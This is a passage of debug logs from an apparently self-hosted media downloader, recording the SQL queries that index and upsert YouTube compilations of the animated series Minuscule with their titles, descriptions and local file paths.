and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wild Bunch | S01E74\n00:04:38 | Insect High Velocity | S01E53\n00:09:17 | The Ladybug | S01E01\n00:13:54 | Horsefly | S01E21\n00:18:35 | A Rolling Snail Gathers No Moss | S01E49\n00:23:11 | Catapult | S01E27\n00:27:58 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #swarm #challenge #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "The Wild Bunch | Minuscule 🍃 40' Compilation", "KjAEj_jj7wE", 1979, false, 4, "https://www.youtube.com/watch?v=KjAEj_jj7wE", "/downloads/Miniscule Season 1/2025-08-02 The Wild Bunch | Minuscule 🍃 40' Compilation/The Wild Bunch | Minuscule 🍃 40' Compilation [KjAEj_jj7wE].mkv", false, ~U[2025-08-02 18:00:50Z]] 00:54:32.388 [debug] QUERY OK source="sources" db=0.4ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.389 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-31 10:01:33Z], 4] 00:54:32.392 [debug] QUERY OK source="media_items" db=2.4ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cowardly Coward | S01E09\n00:04:49 | Yellow | S01E07\n00:09:37 | A Cruel World | S01E46\n00:14:26 | The Persevering One | S01E31\n00:19:07 | Halloween Paranoid | S01E43\n00:23:56 | The Caterpillar and the Brook | S01E08\n00:28:45 | A Snail’s Dream | S01E11\n00:33:34 | On Your Marks, get set, go ! | S01E75\n00:38:23 | A Rolling Snail Gathers No Moss | S01E49\n00:42:59 | Lettuce | S01E48\n00:47:46 | The Ladybug | S01E01\n00:52:22 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#coward #centipede #bravery #cross #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Cowardly Coward | Minuscule 🍃 70' Compilation", "e4a15797-7369-4f67-b8cb-a5f2e8474eab", "wnQdeDxfHko", 3443, false, 4, "https://www.youtube.com/watch?v=wnQdeDxfHko", 33, "/downloads/Miniscule Season 1/2025-07-31 Cowardly Coward | Minuscule 🍃 70' Compilation/Cowardly Coward | Minuscule 🍃 70' Compilation [wnQdeDxfHko].mkv", false, false, false, [], 1, ~U[2025-07-31 10:01:33Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cowardly Coward | S01E09\n00:04:49 | Yellow | S01E07\n00:09:37 | A Cruel World | S01E46\n00:14:26 | The Persevering One | S01E31\n00:19:07 | Halloween Paranoid | S01E43\n00:23:56 | The Caterpillar and the Brook | S01E08\n00:28:45 | A Snail’s Dream | S01E11\n00:33:34 | On Your Marks, get set, go ! | S01E75\n00:38:23 | A Rolling Snail Gathers No Moss | S01E49\n00:42:59 | Lettuce | S01E48\n00:47:46 | The Ladybug | S01E01\n00:52:22 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#coward #centipede #bravery #cross #Centipede #Coward #Thunder #Shelter #Minuscule #nature #insects #ladybugs #animatedseries", "Cowardly Coward | Minuscule 🍃 70' Compilation", "wnQdeDxfHko", 3443, false, 4, "https://www.youtube.com/watch?v=wnQdeDxfHko", "/downloads/Miniscule Season 1/2025-07-31 Cowardly Coward | Minuscule 🍃 70' Compilation/Cowardly Coward | Minuscule 🍃 70' Compilation [wnQdeDxfHko].mkv", false, ~U[2025-07-31 10:01:33Z]] 00:54:32.393 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.394 [debug] QUERY OK source="media_items" db=0.9ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 18:00:53Z], 4] 00:54:32.397 [debug] QUERY OK source="media_items" db=2.1ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Catapult | S01E27\n00:04:47 | Hiccups | S01E26\n00:09:31 | The Wild Bunch | S01E74\n00:14:10 | Insect High Velocity | S01E53\n00:18:49 | The Dung Beetle Battle | S01E15\n00:23:34 | The Ladybug | S01E01\n00:28:10 | The Noodle Battle | S01E70\n00:32:45 | Ladybugs | S01E17\n00:37:24 | Horsefly | S01E21\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Catapult #grasshopper #jump #insects #hiccups #jumps #mechanics #Minuscule #nature #ladybugs #animatedseries", "Catapult | Minuscule 🍃 50' Compilation", "a3f57d12-9ef5-4ea9-a44c-4d4d44f4a780", "PpEywicUI7Q", 2557, false, 4, "https://www.youtube.com/watch?v=PpEywicUI7Q", 34, "/downloads/Miniscule Season 1/2025-07-26 Catapult | Minuscule 🍃 50' Compilation/Catapult | Minuscule 🍃 50' Compilation [PpEywicUI7Q].mkv", false, false, false, [], 1, ~U[2025-07-26 18:00:53Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Catapult | S01E27\n00:04:47 | Hiccups | S01E26\n00:09:31 | The Wild Bunch | S01E74\n00:14:10 | Insect High Velocity | S01E53\n00:18:49 | The Dung Beetle Battle | S01E15\n00:23:34 | The Ladybug | S01E01\n00:28:10 | The Noodle Battle | S01E70\n00:32:45 | Ladybugs | S01E17\n00:37:24 | Horsefly | S01E21\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Catapult #grasshopper #jump #insects #hiccups #jumps #mechanics #Minuscule #nature #ladybugs #animatedseries", "Catapult | Minuscule 🍃 50' Compilation", "PpEywicUI7Q", 2557, false, 4, "https://www.youtube.com/watch?v=PpEywicUI7Q", "/downloads/Miniscule Season 1/2025-07-26 Catapult | Minuscule 🍃 50' Compilation/Catapult | Minuscule 🍃 50' Compilation [PpEywicUI7Q].mkv", false, ~U[2025-07-26 18:00:53Z]] 00:54:32.398 [debug] QUERY OK source="sources" db=0.4ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.399 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-22 06:00:11Z], 4] 00:54:32.403 [debug] QUERY OK source="media_items" db=2.5ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Apple Of Concord | S01E36\n00:04:46 | Caterpillars in Pairs | S01E06\n00:09:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:14:16 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:19:04 | Leech | S01E73\n00:23:29 | Caterpillar Dream | S01E20\n00:28:18 | The Right Seed | S01E57\n00:33:04 | Shell-Less | S01E19\n00:37:47 | Lettuce | S01E48\n00:42:34 | Love Story | S01E03\n00:47:23 | A Cruel World | S01E46\n00:52:12 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #friendship #apple #adventure #caterpillars #love #eggs #transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation", "9f5f88bd-284d-4db1-9556-f22a1d6d763f", "8IewYmG_Z3U", 3452, false, 4, "https://www.youtube.com/watch?v=8IewYmG_Z3U", 35, "/downloads/Miniscule Season 1/2025-07-22 The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation/The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation [8IewYmG_Z3U].mp4", false, false, false, [], 1, ~U[2025-07-22 06:00:11Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Apple Of Concord | S01E36\n00:04:46 | Caterpillars in Pairs | S01E06\n00:09:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:14:16 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:19:04 | Leech | S01E73\n00:23:29 | Caterpillar Dream | S01E20\n00:28:18 | The Right Seed | S01E57\n00:33:04 | Shell-Less | S01E19\n00:37:47 | Lettuce | S01E48\n00:42:34 | Love Story | S01E03\n00:47:23 | A Cruel World | S01E46\n00:52:12 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #friendship #apple #adventure #caterpillars #love #eggs #transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation", "8IewYmG_Z3U", 3452, false, 4, "https://www.youtube.com/watch?v=8IewYmG_Z3U", "/downloads/Miniscule Season 1/2025-07-22 The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation/The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation [8IewYmG_Z3U].mp4", false, ~U[2025-07-22 06:00:11Z]] 00:54:32.404 [debug] QUERY OK source="sources" db=0.4ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.405 [debug] QUERY OK source="media_items" db=0.8ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-12 18:00:56Z], 4] 00:54:32.408 [debug] QUERY OK source="media_items" db=2.1ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Interior Cobwebs | S01E64\n00:04:27 | The Noodle Battle | S01E70\n00:09:01 | No Luck | S01E62\n00:13:44 | The Escapist | S01E59\n00:18:13 | Ladybugs | S01E17\n00:22:52 | Hiccups | S01E26\n00:27:36 | Narcissus | S01E47\n00:32:25 | The Right Seed | S01E57\n00:37:11 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spiders #webs #fly #mishaps #noodle #battle #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Interior Cobwebs | Minuscule 🍃 50' Compilation", "442f700f-dd6a-469c-8e7b-e0f42506ca96", "k1NTwZMFDjY", 2549, false, 4, "https://www.youtube.com/watch?v=k1NTwZMFDjY", 36, "/downloads/Miniscule Season 1/2025-07-12 Interior Cobwebs | Minuscule 🍃 50' Compilation/Interior Cobwebs | Minuscule 🍃 50' Compilation [k1NTwZMFDjY].mkv", false, false, false, [], 1, ~U[2025-07-12 18:00:56Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Interior Cobwebs | S01E64\n00:04:27 | The Noodle Battle | S01E70\n00:09:01 | No Luck | S01E62\n00:13:44 | The Escapist | S01E59\n00:18:13 | Ladybugs | S01E17\n00:22:52 | Hiccups | S01E26\n00:27:36 | Narcissus | S01E47\n00:32:25 | The Right Seed | S01E57\n00:37:11 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spiders #webs #fly #mishaps #noodle #battle #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Interior Cobwebs | Minuscule 🍃 50' Compilation", "k1NTwZMFDjY", 2549, false, 4, "https://www.youtube.com/watch?v=k1NTwZMFDjY", "/downloads/Miniscule Season 1/2025-07-12 Interior Cobwebs | Minuscule 🍃 50' Compilation/Interior Cobwebs | Minuscule 🍃 50' Compilation [k1NTwZMFDjY].mkv", false, ~U[2025-07-12 18:00:56Z]] 00:54:32.409 [debug] QUERY OK source="sources" db=0.3ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.410 [debug] QUERY OK source="media_items" db=0.7ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-19 18:00:52Z], 4] 00:54:32.413 [debug] QUERY OK source="media_items" db=2.0ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | King Size Camembert | S01E45\n00:04:38 | The Last Supper | S01E25\n00:09:28 | The Good Education | S01E56\n00:14:15 | No Luck | S01E62\n00:18:57 | The Mosquito | S01E58\n00:23:07 | Caterpillars in Pairs | S01E06\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Camembert #spider #fly #tricks #flies #ladybug #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "King Size Camembert | Minuscule 🍃 35' Compilation", "d13e74ec-cb4d-40f2-a12c-538119ab4c48", "iAsxecTpMhY", 1705, false, 4, "https://www.youtube.com/watch?v=iAsxecTpMhY", 37, "/downloads/Miniscule Season 1/2025-07-19 King Size Camembert | Minuscule 🍃 35' Compilation/King Size Camembert | Minuscule 🍃 35' Compilation [iAsxecTpMhY].mkv", false, false, false, [], 1, ~U[2025-07-19 18:00:52Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | King Size Camembert | S01E45\n00:04:38 | The Last Supper | S01E25\n00:09:28 | The Good Education | S01E56\n00:14:15 | No Luck | S01E62\n00:18:57 | The Mosquito | S01E58\n00:23:07 | Caterpillars in Pairs | S01E06\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Camembert #spider #fly #tricks #flies #ladybug #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "King Size Camembert | Minuscule 🍃 35' Compilation", "iAsxecTpMhY", 1705, false, 4, "https://www.youtube.com/watch?v=iAsxecTpMhY", "/downloads/Miniscule Season 1/2025-07-19 King Size Camembert | Minuscule 🍃 35' Compilation/King Size Camembert | Minuscule 🍃 35' Compilation [iAsxecTpMhY].mkv", false, ~U[2025-07-19 18:00:52Z]] 00:54:32.413 [debug] QUERY OK source="sources" db=0.4ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.415 [debug] QUERY OK source="media_items" db=0.8ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-05 18:00:54Z], 4] 00:54:32.424 [debug] QUERY OK source="media_items" db=8.4ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Wasp Belle | S01E04\n00:04:49 | Torpedo | S01E52\n00:09:28 | Windswept | S01E68\n00:14:17 | Shell-Less | S01E19\n00:19:00 | On Your Marks, get set, go ! | S01E75\n00:23:49 | Hyperactive | S01E54\n00:28:30 | Cowardly Coward | S01E09\n00:33:19 | Zzzeplin | S01E22\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wasp #aerobatics #formation #stratosphere #Torpedo #Mosquito #Mustard #Jackhammer #Minuscule #nature #insects #ladybugs #animatedseries", "Wasp Belle | Minuscule 🍃 45' Compilation", "41b02711-df3b-47c0-8285-7f6c40f89142", "Ks23sQgKGgQ", 2320, false, 4, "https://www.youtube.com/watch?v=Ks23sQgKGgQ", 38, "/downloads/Miniscule Season 1/2025-07-05 Wasp Belle | Minuscule 🍃 45' Compilation/Wasp Belle | Minuscule 🍃 45' Compilation [Ks23sQgKGgQ].mkv", false, false, false, [], 1, ~U[2025-07-05 18:00:54Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Wasp Belle | S01E04\n00:04:49 | Torpedo | S01E52\n00:09:28 | Windswept | S01E68\n00:14:17 | Shell-Less | S01E19\n00:19:00 | On Your Marks, get set, go ! | S01E75\n00:23:49 | Hyperactive | S01E54\n00:28:30 | Cowardly Coward | S01E09\n00:33:19 | Zzzeplin | S01E22\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wasp #aerobatics #formation #stratosphere #Torpedo #Mosquito #Mustard #Jackhammer #Minuscule #nature #insects #ladybugs #animatedseries", "Wasp Belle | Minuscule 🍃 45' Compilation", "Ks23sQgKGgQ", 2320, false, 4, "https://www.youtube.com/watch?v=Ks23sQgKGgQ", "/downloads/Miniscule Season 1/2025-07-05 Wasp Belle | Minuscule 🍃 